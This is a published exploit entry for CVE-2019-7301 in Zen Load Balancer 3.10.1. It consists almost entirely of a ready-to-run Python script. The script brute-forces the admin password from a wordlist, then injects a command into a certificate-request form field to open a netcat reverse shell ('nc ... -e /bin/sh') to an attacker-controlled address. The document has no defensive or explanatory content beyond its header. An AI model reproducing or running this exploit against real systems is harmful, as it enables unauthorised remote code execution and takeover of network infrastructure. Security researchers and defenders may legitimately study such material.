Zen Load Balancer 3.10.1 – Remote Code Execution
# Exploit Title: Zen Load Balancer 3.10.1 - Remote Code Execution # Google Dork: no # Date: 2020-03-28 # Exploit Author: Cody Sixteen # Vendor Homepage: https://code610.blogspot.com # Software Link: https://sourceforge.net/projects/zenloadbalancer/files/Distro/zenloadbalancer-distro_3.10.1.iso/download # Version: 3.10.1 # Tested on: Linux # CVE : CVE-2019-7301 #c@kali:~/src/eonila/zenload3r$ cat zenload3r.py #!/usr/bin/env python # zenload3r.py - zen load balancer pwn3r # 28.03.2020 @ 22:41 # # by cody sixteen # import base64 import sys, re import requests import ssl from functools import partial ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1) # disable ssl warnings: import urllib3 urllib3.disable_warnings() from requests.auth import HTTPBasicAuth # target = sys.argv[1] username = 'admin' password = 'P@ssw0rd' def main(): print 'zenload3r.py - zen load balancer pwn3r' print ' zenload3r.py - vs - %s' % ( target ) print '' print '[+] checking if host is alive...' global sess sess = requests.session() global baseUrl baseUrl = target + ':444/index.cgi' checkBaseUrl = sess.get(baseUrl, verify=False) checkBaseResp = checkBaseUrl.status_code #print checkBaseResp if checkBaseResp == 401: print '[i] ...it is. we need to log in to proceed' logmein(baseUrl) def logmein(target): print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl) #pwd_file = '/usr/share/wordlists/dirb/common.txt' pwd_file = 'passwd.lst' try: read_pwds = open(pwd_file, 'r') pwds = read_pwds.readlines() for pwd in pwds: pwd = pwd.rstrip() logme = sess.post(baseUrl, auth=HTTPBasicAuth(username,pwd), allow_redirects=True) logmeresp = logme.text #print logmeresp if '<p>Hello <strong>admin</strong>' in logmeresp: print '[+] admin user logged-in! :D' print '[+] working password: %s' % ( pwd ) load3r(baseUrl, pwd) except requests.exceptions.ConnectionError: print '[-] Can not connect to remote host :C\n' def load3r(baseUrl, pwd): print '[+] time to get reverse shell, preparing...' creds = base64.b64encode("{}:{}".format(username,pwd)) creds2 = creds.rstrip() print 'creds: ', creds2 baseUrl = "https://192.168.1.200:444/index.cgi" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://192.168.1.200:444", "Authorization": "Basic {}".format(creds2), "Connection": "close", "Referer": "https://192.168.1.200:444/index.cgi?id=1-3&action=Show_Form", "Upgrade-Insecure-Requests": "1" } sh = "a\";nc 192.168.1.170 4444 -e /bin/sh;#" reqdata = {"cert_name": "qweqweqwe", "cert_issuer": "Sofintel", "cert_fqdn": "qweqweqwe", "cert_division": "qweqweqwe", "cert_organization": sh, "cert_locality": "qweqweqwe", "cert_state": "qweqweqwe", "cert_country": "qw", "cert_mail": "qweqweqwe@qweqweqwe.com", "cert_key": "2048", "id": "1-3", "actionpost": "Generate CSR", "button": "Generate CSR"} requests.post(baseUrl, headers=headers, data=reqdata,verify=False) print '[*] got r00t? ;>\n' # run me: if __name__ == '__main__': main() |